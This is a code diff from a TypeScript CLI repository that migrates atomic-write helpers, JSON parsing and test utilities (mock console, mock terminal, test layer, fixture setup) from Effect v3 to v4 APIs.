48 onNone: () => fs.writeFileString(tmpPath, contents, { flag: 'wx' }),
49 onSome: mode => fs.writeFileString(tmpPath, contents, { flag: 'wx', mode }),
51 - }).pipe(Effect.either);
50 + }).pipe(Effect.result);
51
53 - if (Either.isLeft(created)) {
54 - const isCollision =
55 - Predicate.isTagged('SystemError')(created.left) &&
56 - created.left.reason === 'AlreadyExists';
52 + if (Result.isFailure(created)) {
53 + const isCollision = Predicate.isTagged(created.failure.reason, 'AlreadyExists');
54 if (isCollision && attempt < MAX_ATOMIC_WRITE_ATTEMPTS) {
55 return yield* stage(attempt + 1);
56 }
57 if (!isCollision) {
58 yield* fs.remove(tmpPath, { force: true }).pipe(Effect.ignore);
59 }
63 - return yield* Effect.fail(created.left);
60 + return yield* Effect.fail(created.failure);
61 }
62
63 return tmpPath;
@@ -87,7 +84,8 @@ export const atomicWritePrivateFileString = (params: {
84 readonly fs: FileSystem.FileSystem;
85 readonly target: string;
86 readonly contents: string;
90 -}): Effect.Effect<void, PlatformError> => atomicWriteFileString({ ...params, mode: 0o600 });
87 +}): Effect.Effect<void, PlatformError.PlatformError> =>
88 + atomicWriteFileString({ ...params, mode: 0o600 });
89
90 /**
91 * Tighten a credential-bearing file written by an older CLI before reading it.
@@ -113,7 +111,7 @@ export const ensurePrivateFileMode = (params: {
111 yield* params.fs
112 .chmod(params.target, 0o600)
113 .pipe(
116 - Effect.catchAll(error =>
114 + Effect.catch(error =>
115 Effect.logWarning(
116 `Could not tighten permissions for credential file at ${params.target}; continuing with the read: ${String(error)}`
117 )
ts/packages/cli/src/utils/get-ancestors.ts
+1 -2
@@ -1,5 +1,4 @@
1 -import * as Path from '@effect/platform/Path';
2 -import { Effect } from 'effect';
1 +import { Effect, Path } from 'effect';
2
3 /**
4 * Walk up from a directory to the filesystem root, collecting all ancestor paths.
ts/packages/cli/src/utils/parse-json.ts
+15 -8
@@ -1,4 +1,4 @@
1 -import { Data, Either, Predicate } from 'effect';
1 +import { Data, Predicate, Result } from 'effect';
2 import JSON5 from 'json5';
3
4 export class JsonParsingError extends Data.TaggedError('JsonParsingError')<{
@@ -10,6 +10,11 @@ export class JsonParsingError extends Data.TaggedError('JsonParsingError')<{
10 cause: unknown;
11 }> {}
12
13 +// Predicate.isRecord was removed in v4; Predicate.isObject also matches
14 +// arrays, so exclude those explicitly.
15 +export const isPlainRecord = (value: unknown): value is Record<string, unknown> =>
16 + Predicate.isObject(value) && !Array.isArray(value);
17 +
18 /**
19 * Parses JSON or a JS-style object literal (unquoted keys, single quotes,
20 * trailing commas, comments) into a record. JSON5 covers the documented
@@ -17,19 +22,21 @@ export class JsonParsingError extends Data.TaggedError('JsonParsingError')<{
22 * Inputs that parse to anything other than an object (arrays, scalars,
23 * `null`) fail with `JsonParsingError`.
24 *
20 - * Returns an `Either` because parsing is synchronous; `Either` is a subtype
21 - * of `Effect`, so call sites can `yield*` it or pipe it into Effect
22 - * combinators directly.
25 + * Returns a `Result` because parsing is synchronous. A `Result` implements
26 + * `Symbol.iterator`, so `yield*` on it type-checks — but at runtime a `Result`
27 + * is not an `Effect`, and yielding one dies the fiber with "Not a valid
28 + * effect". Lift it explicitly with `Effect.fromResult(...)` before yielding,
29 + * or stay in `Result` land with the `Result.*` combinators.
30 */
31 export const parseJsonRecord = (
32 raw: string
26 -): Either.Either<Record<string, unknown>, JsonParsingError> =>
27 - Either.try({
33 +): Result.Result<Record<string, unknown>, JsonParsingError> =>
34 + Result.try({
35 try: (): unknown => JSON5.parse(raw),
36 catch: cause => new JsonParsingError({ reason: 'syntax', cause }),
37 }).pipe(
31 - Either.filterOrLeft(
32 - Predicate.isRecord,
38 + Result.filterOrFail(
39 + isPlainRecord,
40 parsed =>
41 new JsonParsingError({
42 reason: 'not-a-record',
ts/packages/cli/test/__utils__/live-env-config-provider.ts new
+10
@@ -0,0 +1,10 @@
1 +import { ConfigProvider } from 'effect';
2 +
3 +/**
4 + * `ConfigProvider.fromEnv` snapshots the environment when it is built, so a
5 + * provider created at module scope never observes `vi.stubEnv` calls made
6 + * inside a test. This provider re-reads the environment on every lookup.
7 + */
8 +export const liveEnvConfigProvider: ConfigProvider.ConfigProvider = ConfigProvider.make(
9 + configPath => ConfigProvider.fromEnv().load(configPath)
10 +);
ts/packages/cli/test/__utils__/models/toolkits.ts
+5 -4
@@ -1,4 +1,5 @@
1 -import { Arbitrary, DateTime, FastCheck } from 'effect';
1 +import { FastCheck } from 'effect/testing';
2 +import { Schema, DateTime } from 'effect';
3 import { Toolkit } from 'src/models/toolkits';
4
5 /**
@@ -16,15 +17,15 @@ export const makeToolkitFixture = (slug: string, name: string = slug): Toolkit =
17 meta: {
18 description: `${name} toolkit`,
19 categories: [],
19 - created_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
20 - updated_at: DateTime.unsafeMake('2024-05-03T11:44:32.061Z'),
20 + created_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
21 + updated_at: DateTime.makeUnsafe('2024-05-03T11:44:32.061Z'),
22 available_versions: [],
23 tools_count: 0,
24 triggers_count: 0,
25 },
26 });
27
27 -const ToolkitArbitary = Arbitrary.make(Toolkit);
28 +const ToolkitArbitary = Schema.toArbitrary(Toolkit)(FastCheck);
29
30 /**
31 * Creates multiple test toolkit instances by merging arbitrary generated toolkit data with the provided subset values.
ts/packages/cli/test/__utils__/python-compiler.ts
+2 -2
@@ -73,7 +73,7 @@ print(f"Area: {area}")
73 class Calculator:
74 def __init__(self):
75 self.result = 0
76 -
76 +
77 def add(self, x, y):
78 self.result = x + y
79 return self.result
@@ -196,7 +196,7 @@ from typing import List, Optional, Dict
196 def process_items(items: List[str], config: Optional[Dict[str, bool]] = None) -> str:
197 if config is None:
198 config = {}
199 -
199 +
200 processed = [item.upper() for item in items if config.get("uppercase", True)]
201 return ", ".join(processed)
202
ts/packages/cli/test/__utils__/services/mock-console.ts
+92 -45
@@ -1,21 +1,52 @@
1 -// DO NOT MODIFY THIS FILE.
2 -// Adapted from https://github.com/Effect-TS/effect/blob/4f2107548fa64c21a8643b7b0efcd556cd16d4b9/packages/cli/test/services/MockConsole.ts
1 +// Adapted from `effect/testing`'s `TestConsole` (vendored at
2 +// ts/vendor/effect/packages/effect/src/testing/TestConsole.ts).
3 +//
4 +// `TestConsole.make` records every `Console` method invocation as a
5 +// `{ method, parameters }` entry, then derives two views from that list:
6 +// `logLines` (entries where `method === 'log'`) and `errorLines` (entries
7 +// where `method === 'error'`) — verified against the vendored source, that
8 +// literal mapping is *all* TestConsole implements; `info`/`warn`/`debug`/etc.
9 +// are captured in the entry list but bucketed by neither accessor.
10 +//
11 +// This mock reuses TestConsole's entry-recording design (tag every call by
12 +// method, derive views by filtering) but widens the two views to fit how
13 +// `test/__utils__/services/terminal-ui-test.ts`'s `TerminalUITest` actually
14 +// spreads Composio's decoration surface across more than two `Console`
15 +// methods: `stdout` covers `log`/`info`/`debug` (the real-data channel,
16 +// `ui.output()`, plus anything log-adjacent) and `stderr` covers
17 +// `error`/`warn` (all decoration, matching this CLI's own output convention —
18 +// see `ts/packages/cli/AGENTS.md`'s "Output Conventions" section). A single
19 +// chronological buffer of every recorded call, regardless of method, still
20 +// backs the pre-existing merged view that ~40 suites already assert against
21 +// via `MockConsole.getLines()` with no `stream`.
22
4 -import * as Array from 'effect/Array';
23 import * as Console from 'effect/Console';
24 import * as Context from 'effect/Context';
25 import * as Effect from 'effect/Effect';
8 -import * as Ref from 'effect/Ref';
26
27 export interface MockConsole extends Console.Console {
28 readonly getLines: (
29 params?: Partial<{
30 readonly stripAnsi: boolean;
31 + /**
32 + * Restricts the returned lines to one channel: `stdout` covers
33 + * `log`/`info`/`debug` calls (the real-data channel, `ui.output()`),
34 + * `stderr` covers `error`/`warn` calls (all decoration). Omit to get
35 + * every recorded call in chronological order, regardless of method —
36 + * the original, backward-compatible merged view.
37 + */
38 + readonly stream: 'stdout' | 'stderr';
39 }>
40 ) => Effect.Effect<ReadonlyArray<string>>;
41 }
42
18 -export const MockConsole = Context.GenericTag<Console.Console, MockConsole>('effect/Console');
43 +// `Console.Console` is a `Context.Reference` in v4 (it replaces v3's FiberRef-backed
44 +// console). Reusing its `.key` aliases this service into the same context slot, so
45 +// providing `MockConsole` overrides the ambient console for anything that reads it.
46 +export const MockConsole = Context.Service<Console.Console, MockConsole>(Console.Console.key);
47 +
48 +type Method = keyof Console.Console;
49 +
50 const pattern = new RegExp(
51 [
52 '[\\u001B\\u009B][[\\]()#;?]*(?:(?:(?:(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]+)*|[a-zA-Z\\d]+(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*)?\\u0007)',
@@ -26,60 +57,76 @@ const pattern = new RegExp(
57
58 const stripAnsi = (str: string) => str.replace(pattern, '');
59
29 -export const make = Effect.gen(function* () {
30 - const lines = yield* Ref.make(Array.empty<string>());
60 +export const make = Effect.sync(() => {
61 + // v4's `Console.Console` interface methods are plain synchronous `void`-returning
62 + // calls (the effectful wrappers live at the `Console` module level), so the mock
63 + // buffers into local mutable arrays instead of an `Effect`-hosted `Ref`.
64
32 - const getLines: MockConsole['getLines'] = (params = {}) =>
33 - Ref.get(lines).pipe(
34 - Effect.map(lines => (params.stripAnsi || false ? Array.map(lines, stripAnsi) : lines))
35 - );
65 + // Every recorded call, tagged with the method that produced it — mirrors
66 + // `TestConsole.make`'s `entries` array and backs the `stdout`/`stderr` views.
67 + const entries: Array<{ readonly method: Method; readonly parameters: ReadonlyArray<unknown> }> =
68 + [];
69 + // Every recorded call's arguments, flattened in call order regardless of
70 + // method — backs the original merged view (`getLines()` with no `stream`).
71 + const allLines: Array<unknown> = [];
72
37 - const log: MockConsole['log'] = (...args) => {
38 - return Ref.update(lines, Array.appendAll(args));
39 - };
73 + const record =
74 + (method: Method) =>
75 + (...parameters: ReadonlyArray<unknown>): void => {
76 + entries.push({ method, parameters });
77 + allLines.push(...parameters);
78 + };
79
41 - const info: MockConsole['info'] = (...args) => {
42 - return Ref.update(lines, Array.appendAll(args));
43 - };
80 + // Every CLI writer hands the console strings, so this only formats the odd
81 + // non-string argument the way `console.log` would when joined.
82 + const asLine = (value: unknown): string => (typeof value === 'string' ? value : String(value));
83
45 - const warn: MockConsole['warn'] = (...args) => {
46 - return Ref.update(lines, Array.appendAll(args));
47 - };
84 + const linesForMethods = (methods: ReadonlySet<Method>) =>
85 + entries.filter(entry => methods.has(entry.method)).flatMap(entry => entry.parameters);
86
49 - const error: MockConsole['error'] = (...args) => {
50 - return Ref.update(lines, Array.appendAll(args));
51 - };
87 + const stdoutMethods = new Set<Method>(['log', 'info', 'debug']);
88 + const stderrMethods = new Set<Method>(['error', 'warn']);
89
53 - const clear: MockConsole['clear'] = Ref.update(lines, Array.empty);
90 + const getLines: MockConsole['getLines'] = (params = {}) =>
91 + Effect.sync(() => {
92 + const source =
93 + params.stream === 'stdout'
94 + ? linesForMethods(stdoutMethods)
95 + : params.stream === 'stderr'
96 + ? linesForMethods(stderrMethods)
97 + : allLines;
98 + const lines = source.map(asLine);
99 + return params.stripAnsi || false ? lines.map(stripAnsi) : lines;
100 + });
101
102 return MockConsole.of({
56 - [Console.TypeId]: Console.TypeId,
57 - clear,
103 getLines,
59 - log,
60 - info,
61 - warn,
62 - error,
63 - unsafe: globalThis.console,
64 - assert: () => Effect.void,
65 - count: () => Effect.void,
66 - countReset: () => Effect.void,
67 - debug: () => Effect.void,
68 - dir: () => Effect.void,
69 - dirxml: () => Effect.void,
70 - group: () => Effect.void,
71 - groupEnd: Effect.void,
72 - table: () => Effect.void,
73 - time: () => Effect.void,
74 - timeEnd: () => Effect.void,
75 - timeLog: () => Effect.void,
76 - trace: () => Effect.void,
104 + clear: record('clear'),
105 + log: record('log'),
106 + info: record('info'),
107 + warn: record('warn'),
108 + error: record('error'),
109 + assert: record('assert'),
110 + count: record('count'),
111 + countReset: record('countReset'),
112 + debug: record('debug'),
113 + dir: record('dir'),
114 + dirxml: record('dirxml'),
115 + group: record('group'),
116 + groupCollapsed: record('groupCollapsed'),
117 + groupEnd: record('groupEnd'),
118 + table: record('table'),
119 + time: record('time'),
120 + timeEnd: record('timeEnd'),
121 + timeLog: record('timeLog'),
122 + trace: record('trace'),
123 });
124 });
125
126 export const getLines = (
127 params?: Partial<{
128 readonly stripAnsi?: boolean;
129 + readonly stream?: 'stdout' | 'stderr';
130 }>
131 ): Effect.Effect<ReadonlyArray<string>> =>
85 - Effect.consoleWith(console => (console as MockConsole).getLines(params));
132 + Console.consoleWith(console => (console as MockConsole).getLines(params));
ts/packages/cli/test/__utils__/services/mock-terminal.ts
+24 -16
@@ -1,14 +1,15 @@
1 // DO NOT MODIFY THIS FILE.
2 -// Copied from https://github.com/Effect-TS/effect/blob/4f2107548fa64c21a8643b7b0efcd556cd16d4b9/packages/cli/test/services/MockTerminal.ts
2 +// Adapted from https://github.com/Effect-TS/effect/blob/main/packages/effect/test/unstable/cli/services/MockTerminal.ts
3
4 -import type * as Terminal from '@effect/platform/Terminal';
4 import * as Array from 'effect/Array';
5 +import type * as Cause from 'effect/Cause';
6 import * as Console from 'effect/Console';
7 import * as Context from 'effect/Context';
8 import * as Effect from 'effect/Effect';
9 import * as Layer from 'effect/Layer';
10 -import * as Mailbox from 'effect/Mailbox';
10 import * as Option from 'effect/Option';
11 +import * as Queue from 'effect/Queue';
12 +import * as Terminal from 'effect/Terminal';
13
14 // =============================================================================
15 // Models
@@ -34,8 +35,9 @@ export declare namespace MockTerminal {
35 // Context
36 // =============================================================================
37
37 -export const MockTerminal = Context.GenericTag<Terminal.Terminal, MockTerminal>(
38 - '@effect/platform/Terminal'
38 +// Reuse `Terminal.Terminal`'s key so this aliases into the same context slot.
39 +export const MockTerminal = Context.Service<Terminal.Terminal, MockTerminal>()(
40 + Terminal.Terminal.key
41 );
42
43 // =============================================================================
@@ -43,11 +45,13 @@ export const MockTerminal = Context.GenericTag<Terminal.Terminal, MockTerminal>(
45 // =============================================================================
46
47 export const make = Effect.gen(function* () {
46 - const queue = yield* Effect.acquireRelease(Mailbox.make<Terminal.UserInput>(), _ => _.shutdown);
48 + const queue = yield* Effect.acquireRelease(Queue.make<Terminal.UserInput, Cause.Done>(), queue =>
49 + Queue.shutdown(queue)
50 + );
51
52 const inputText: MockTerminal['inputText'] = (text: string) => {
53 const inputs = Array.map(text.split(''), key => toUserInput(key));
50 - return queue.offerAll(inputs).pipe(Effect.asVoid);
54 + return Queue.offerAll(queue, inputs).pipe(Effect.asVoid);
55 };
56
57 const inputKey: MockTerminal['inputKey'] = (
@@ -55,37 +59,41 @@ export const make = Effect.gen(function* () {
59 modifiers?: Partial<MockTerminal.Modifiers>
60 ) => {
61 const input = toUserInput(key, modifiers);
58 - return shouldQuit(input) ? queue.end : queue.offer(input).pipe(Effect.asVoid);
62 + return shouldQuit(input) ? Queue.end(queue) : Queue.offer(queue, input).pipe(Effect.asVoid);
63 };
64
65 const display: MockTerminal['display'] = input => Console.log(input);
66
63 - const readInput: MockTerminal['readInput'] = Effect.succeed(queue);
67 + const readInput: MockTerminal['readInput'] = Effect.succeed(Queue.asDequeue(queue));
68
65 - return MockTerminal.of({
69 + const terminal = Terminal.make({
70 columns: Effect.succeed(80),
71 rows: Effect.succeed(24),
68 - isTTY: Effect.succeed(true),
72 display,
73 readInput,
74 readLine: Effect.succeed(''),
72 - inputKey,
73 - inputText,
75 });
76 +
77 + return Object.assign(terminal, { inputKey, inputText });
78 });
79
80 // =============================================================================
81 // Layer
82 // =============================================================================
83
81 -export const layer = Layer.scoped(MockTerminal, make);
84 +export const layer = Layer.effect(MockTerminal, make);
85
86 // =============================================================================
87 // Accessors
88 // =============================================================================
89
87 -export const { columns, readInput, readLine } = Effect.serviceConstants(MockTerminal);
88 -export const { inputKey, inputText } = Effect.serviceFunctions(MockTerminal);
90 +export const columns = Effect.flatMap(MockTerminal, terminal => terminal.columns);
91 +export const readInput = Effect.flatMap(MockTerminal, terminal => terminal.readInput);
92 +export const readLine = Effect.flatMap(MockTerminal, terminal => terminal.readLine);
93 +export const inputKey = (key: string, modifiers?: Partial<MockTerminal.Modifiers>) =>
94 + Effect.flatMap(MockTerminal, terminal => terminal.inputKey(key, modifiers));
95 +export const inputText = (text: string) =>
96 + Effect.flatMap(MockTerminal, terminal => terminal.inputText(text));
97
98 // =============================================================================
99 // Utilities
ts/packages/cli/test/__utils__/services/terminal-ui-test.ts
+9 -1
@@ -15,7 +15,15 @@ export const terminalUITestImpl = TerminalUI.of({
15 stderr: { isTTY: false },
16 })
17 ),
18 - output: data => Console.log(data),
18 + // `output` is the real stdout *data* channel (`ui.output()`). It uses
19 + // `Console.info` rather than `Console.log` deliberately: `src/commands/index.ts`'s
20 + // `runWithConfig` provides a Console override for most invocations that
21 + // redirects `.log` calls to `.error` (routing the framework's own decoration
22 + // rendering to stderr — see its `runWithDecorationOnStderr`). That override
23 + // only touches `.log`; using `.info` here keeps `ui.output()`'s test-visible
24 + // channel immune to it, matching production, where `ui.output()` never goes
25 + // through the Effect `Console` service at all and so is never affected.
26 + output: data => Console.info(data),
27 error: data => Console.error(data),
28
29 intro: title => Console.log(`-- ${title} --`),
ts/packages/cli/test/__utils__/services/test-layer.ts
+46 -40
@@ -2,26 +2,24 @@ import path from 'node:path';
2 import * as tempy from 'tempy';
3 import { Composio as RawComposioClient } from '@composio/client';
4 import type { AuthConfigCreateParams } from '@composio/client/resources/auth-configs';
5 -import { CliApp, CliConfig } from '@effect/cli';
6 -import * as Command from '@effect/platform/Command';
7 -import * as FetchHttpClient from '@effect/platform/FetchHttpClient';
8 -import * as FileSystem from '@effect/platform/FileSystem';
9 -import * as Path from '@effect/platform/Path';
5 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
11 -import * as BunContext from '@effect/platform-bun/BunContext';
6 import * as BunPath from '@effect/platform-bun/BunPath';
7 import {
8 ConfigProvider,
9 Console,
10 + Context,
11 DateTime,
12 Effect,
13 + FileSystem,
14 Layer,
19 - Logger,
20 - LogLevel,
15 Option,
16 + Path,
17 + References,
18 Schedule,
19 String,
20 } from 'effect';
21 +import { CliConfig, type Command as CliCommand } from 'effect/unstable/cli';
22 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
23 import { ComposioCliConfig } from 'src/cli-config';
24 import * as MockConsole from './mock-console';
25 import * as MockTerminal from './mock-terminal';
@@ -77,16 +75,17 @@ import { ProjectContext } from 'src/services/project-context';
75 import { ProjectEnvironmentDetector } from 'src/services/project-environment-detector';
76 import { CommandRunner, type CommandRunnerShape } from 'src/services/command-runner';
77 import { TerminalUI } from 'src/services/terminal-ui';
80 -import * as CommandExecutor from '@effect/platform/CommandExecutor';
78 import {
79 SetupSkillInstaller,
80 type SetupSkillInstallerShape,
81 } from 'src/services/setup-skill-installer';
82 +import { FetchHttpClient } from 'effect/unstable/http';
83 +import * as BunServices from '@effect/platform-bun/BunServices';
84
85 export interface TestLiveInput {
86 /**
87 * Base config provider to use in test.
89 - * If not provided, the default `ConfigProvider.fromMap(new Map([]))` is used.
88 + * If not provided, the default `ConfigProvider.fromEnv({ env: {} })` is used.
89 */
90 baseConfigProvider?: ConfigProvider.ConfigProvider;
91
@@ -243,9 +242,9 @@ export interface TestLiveInput {
242 * Layer<RequirementsOut, Error, RequirementsIn>
243 */
244
246 -type RequiredLayer = Layer.Layer<CliApp.CliApp.Environment, unknown, never>;
245 +type RequiredLayer = Layer.Layer<CliCommand.Environment, unknown, never>;
246
248 -const ConsumerProjectResolveFetchMock = Layer.scopedDiscard(
247 +const ConsumerProjectResolveFetchMock = Layer.effectDiscard(
248 Effect.acquireRelease(
249 Effect.sync(() => {
250 const originalFetch = globalThis.fetch;
@@ -1271,7 +1270,7 @@ export const TestLayer = (input?: TestLiveInput) =>
1270 : Layer.succeed(
1271 CommandRunner,
1272 CommandRunner.of({
1274 - run: () => Effect.succeed(CommandExecutor.ExitCode(0)),
1273 + run: () => Effect.succeed(0),
1274 capture: () =>
1275 Effect.succeed({
1276 exitCode: 0,
@@ -1300,8 +1299,12 @@ export const TestLayer = (input?: TestLiveInput) =>
1299 const _console = yield* MockConsole.make;
1300
1301 const layers = Layer.mergeAll(
1303 - Console.setConsole(_console),
1302 + Layer.succeed(Console.Console, _console),
1303 CliConfigLive,
1304 + // Mirror cli-main: no custom `CliOutput.Formatter` is provided here either
1305 + // — `CliOutput.Formatter` is a `Context.Reference` that falls back to v4's
1306 + // own `CliOutput.defaultFormatter()`, so `Command.runWith` renders help,
1307 + // errors, and `--version` identically to production.
1308 NodeProcessTest,
1309 UpgradeBinaryTest,
1310 ComposioCliUserConfigTest,
@@ -1317,7 +1320,7 @@ export const TestLayer = (input?: TestLiveInput) =>
1320 SetupSkillInstallerTest,
1321 ToolsExecutorTest,
1322 BunFileSystem.layer,
1320 - BunContext.layer,
1323 + BunServices.layer,
1324 MockTerminal.layer,
1325 BunPath.layer,
1326 FetchHttpClient.layer,
@@ -1335,18 +1338,23 @@ export const TestLayer = (input?: TestLiveInput) =>
1338
1339 return layers;
1340 }).pipe(
1338 - Logger.withMinimumLogLevel(LogLevel.Debug),
1341 + Effect.provideService(References.MinimumLogLevel, 'Debug'),
1342 Effect.scoped,
1340 - Layer.unwrapEffect,
1341 - Layer.provide(
1342 - Layer.setConfigProvider(input?.baseConfigProvider ?? ConfigProvider.fromMap(new Map([])))
1343 + Layer.unwrap,
1344 + // `Layer.provide` only feeds `ConfigProvider` to the layers built above and hides it from
1345 + // the resulting layer's output; downstream consumers of `TestLayer` (e.g. command handlers
1346 + // reading `Config`/`DEBUG_OVERRIDE_*` at runtime) would fall back to the default
1347 + // `ConfigProvider` reference instead of the test's `baseConfigProvider`. `Layer.provideMerge`
1348 + // keeps `ConfigProvider` in the output so it stays visible to everything `TestLayer` provides.
1349 + Layer.provideMerge(
1350 + ConfigProvider.layer(input?.baseConfigProvider ?? ConfigProvider.fromEnv({ env: {} }))
1351 )
1352 );
1353
1354 // Run @effect/vitest suite with TestLive layer
1355 export const runEffect =
1356 (input?: TestLiveInput) =>
1349 - <E, A>(self: Effect.Effect<A, E, CliApp.CliApp.Environment>): Promise<A> =>
1357 + <E, A>(self: Effect.Effect<A, E, CliCommand.Environment>): Promise<A> =>
1358 Effect.provide(self, TestLayer(input)).pipe(Effect.scoped, Effect.runPromise);
1359
1360 function setupFixtureFolder({ fixture, tempDir }: { fixture?: string; tempDir: string }) {
@@ -1365,24 +1373,24 @@ function setupFixtureFolder({ fixture, tempDir }: { fixture?: string; tempDir: s
1373 yield* Effect.logDebug(`Using fixture at: ${tmpFixturesPath}`);
1374
1375 // Retry the task with a delay between retries and a maximum of 3 retries
1368 - const policy = Schedule.addDelay(Schedule.recurs(3), () => '100 millis');
1376 + const policy = Schedule.addDelay(Schedule.recurs(3), () => Effect.succeed('100 millis'));
1377
1378 // If all retries fail, run the fallback effect.
1379 // Use tar to skip heavy directories (.venv) that the global setup may have created.
1380 // tar --exclude is POSIX and available on any Linux/macOS without extra packages.
1381 const task = Effect.gen(function* () {
1382 yield* fs.makeDirectory(tmpFixturesPath, { recursive: true });
1375 - const tarCmd = Command.make(
1376 - 'tar',
1383 + const spawner = yield* ChildProcessSpawner.ChildProcessSpawner;
1384 + const tarCmd = ChildProcess.make('tar', [
1385 '-cf',
1386 '-',
1387 '--exclude',
1388 '.venv',
1389 '-C',
1390 realFixturePath,
1383 - '.'
1384 - ).pipe(Command.pipeTo(Command.make('tar', '-xf', '-', '-C', tmpFixturesPath)));
1385 - yield* tarCmd.pipe(Command.exitCode, Effect.provide(BunContext.layer));
1391 + '.',
1392 + ]).pipe(ChildProcess.pipeTo(ChildProcess.make('tar', ['-xf', '-', '-C', tmpFixturesPath])));
1393 + yield* spawner.exitCode(tarCmd);
1394 });
1395
1396 const repeated = Effect.retryOrElse(policy, () =>
@@ -1398,7 +1406,7 @@ function setupFixtureFolder({ fixture, tempDir }: { fixture?: string; tempDir: s
1406 yield* breakSymlinksInNodeModules(fs, path, nodeModulesPath);
1407
1408 return tmpFixturesPath;
1401 - }).pipe(Effect.provide(Layer.mergeAll(BunFileSystem.layer, BunPath.layer)));
1409 + }).pipe(Effect.provide(BunServices.layer));
1410 }
1411
1412 /**
@@ -1422,8 +1430,8 @@ function breakSymlinksInNodeModules(
1430
1431 // Unix: Use `find` command for fast symlink detection
1432 const breakSymlinksUnix = Effect.gen(function* () {
1425 - const findCmd = Command.make(
1426 - 'find',
1433 + const spawner = yield* ChildProcessSpawner.ChildProcessSpawner;
1434 + const findCmd = ChildProcess.make('find', [
1435 nodeModulesPath,
1436 '-maxdepth',
1437 '2',
@@ -1431,9 +1439,9 @@ function breakSymlinksInNodeModules(
1439 'l',
1440 '-not',
1441 '-path',
1434 - '*/.*'
1435 - );
1436 - const output = yield* findCmd.pipe(Command.string, Effect.provide(BunContext.layer));
1442 + '*/.*',
1443 + ]);
1444 + const output = yield* spawner.string(findCmd);
1445 const symlinks = output.trim().split('\n').filter(Boolean);
1446
1447 if (symlinks.length === 0) {
@@ -1442,14 +1450,14 @@ function breakSymlinksInNodeModules(
1450
1451 yield* Effect.logDebug(`Found ${symlinks.length} symlinks to break`);
1452 yield* Effect.all(symlinks.map(breakSymlink), { concurrency: 'unbounded' });
1445 - });
1453 + }).pipe(Effect.provide(BunServices.layer));
1454
1455 // Windows: Use readLink to detect symlinks (O(n) but compatible)
1456 const breakSymlinksWindows = Effect.gen(function* () {
1457 const isSymlink = (p: string) =>
1458 fs.readLink(p).pipe(
1459 Effect.map(() => true),
1452 - Effect.catchAll(() => Effect.succeed(false))
1460 + Effect.catch(() => Effect.succeed(false))
1461 );
1462
1463 const entries = yield* fs.readDirectory(nodeModulesPath);
@@ -1497,16 +1505,14 @@ function breakSymlinksInNodeModules(
1505 // Normalize it first so tests can safely create nested paths like node_modules/@scope/pkg.
1506 const nodeModulesLink = yield* fs.readLink(nodeModulesPath).pipe(
1507 Effect.map(() => true),
1500 - Effect.catchAll(() => Effect.succeed(false))
1508 + Effect.catch(() => Effect.succeed(false))
1509 );
1510
1511 if (nodeModulesLink) {
1504 - yield* fs
1505 - .remove(nodeModulesPath, { recursive: true })
1506 - .pipe(Effect.catchAll(() => Effect.void));
1512 + yield* fs.remove(nodeModulesPath, { recursive: true }).pipe(Effect.catch(() => Effect.void));
1513 yield* fs
1514 .makeDirectory(nodeModulesPath, { recursive: true })
1509 - .pipe(Effect.catchAll(() => Effect.void));
1515 + .pipe(Effect.catch(() => Effect.void));
1516 }
1517
1518 const isWindows = process.platform === 'win32';
@@ -1516,7 +1522,7 @@ function breakSymlinksInNodeModules(
1522 } else {
1523 yield* breakSymlinksUnix;
1524 }
1519 - }).pipe(Effect.catchAll(() => Effect.void));
1525 + }).pipe(Effect.catch(() => Effect.void));
1526 }
1527
1528 function setupComposioSessionRepository() {
ts/packages/cli/test/__utils__/services/toolkits-repository-stub.ts
+1 -1
@@ -5,7 +5,7 @@ import {
5 } from 'src/services/composio-clients';
6 import type { Toolkits } from 'src/models/toolkits';
7
8 -export type GetToolkitsError = Effect.Effect.Error<
8 +export type GetToolkitsError = Effect.Error<
9 ReturnType<ComposioToolkitsRepositoryShape['getToolkits']>
10 >;
11
ts/packages/cli/test/__utils__/typescript-compiler.ts
+24 -23
@@ -1,8 +1,7 @@
1 import { describe, it, expect, vi } from 'vitest';
2 -import { Effect, Stream, String } from 'effect';
3 -import * as Command from '@effect/platform/Command';
4 -import * as Path from '@effect/platform/Path';
2 +import { Effect, Path, Stream, String } from 'effect';
3 import * as BunPath from '@effect/platform-bun/BunPath';
4 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
5 import ts from 'typescript';
6 import {
7 buildVirtualFileMap,
@@ -80,30 +79,32 @@ export function assertTranspiledTypeScriptIsValid({
79 testSourceCodePath,
80 }: AssertTranspiledTypeScriptIsValidInput) {
81 return Effect.gen(function* () {
83 - const installCmd = Command.make('node', testSourceCodePath);
84 - const [exitCode, stdout, stderr] = yield* installCmd.pipe(
85 - Command.workingDirectory(cwd),
86 - Command.start,
87 - Effect.andThen(process =>
88 - Effect.all(
89 - [
90 - // Wait for exit code
91 - process.exitCode,
92 - // Get stdout as lines
93 - process.stdout.pipe(Stream.decodeText(), Stream.runFold(String.empty, String.concat)),
94 - // Get stderr as lines
95 - process.stderr.pipe(Stream.decodeText(), Stream.runFold(String.empty, String.concat)),
96 - ],
97 - { concurrency: 3 }
98 - )
99 - )
82 + const spawner = yield* ChildProcessSpawner.ChildProcessSpawner;
83 + const installCmd = ChildProcess.make('node', [testSourceCodePath], { cwd });
84 + const handle = yield* spawner.spawn(installCmd);
85 + const [exitCode, stdout, stderr] = yield* Effect.all(
86 + [
87 + // Wait for exit code
88 + handle.exitCode,
89 + // Get stdout as lines
90 + handle.stdout.pipe(
91 + Stream.decodeText(),
92 + Stream.runFold(() => String.empty, String.concat)
93 + ),
94 + // Get stderr as lines
95 + handle.stderr.pipe(
96 + Stream.decodeText(),
97 + Stream.runFold(() => String.empty, String.concat)
98 + ),
99 + ],
100 + { concurrency: 3 }
101 );
102
103 expect(stderr).toBe('');
103 - expect(exitCode).toBe(0);
104 + expect(Number(exitCode)).toBe(0);
105
106 return stdout;
106 - });
107 + }).pipe(Effect.scoped);
108 }
109
110 if (import.meta.vitest) {
@@ -118,7 +119,7 @@ if (import.meta.vitest) {
119 it('[Given] valid TypeScript code with resolvable imports [Then] no errors are found', () => {
120 const doubleSource = /* typescript */ `
121 import { multiply } from './multiply.ts';
121 -
122 +
123 export const double = (x: number) => multiply(x, 2);
124 `;
125 const multiplySource = /* typescript */ `
ts/packages/cli/test/__utils__/vitest.global-setup.ts
+27 -25
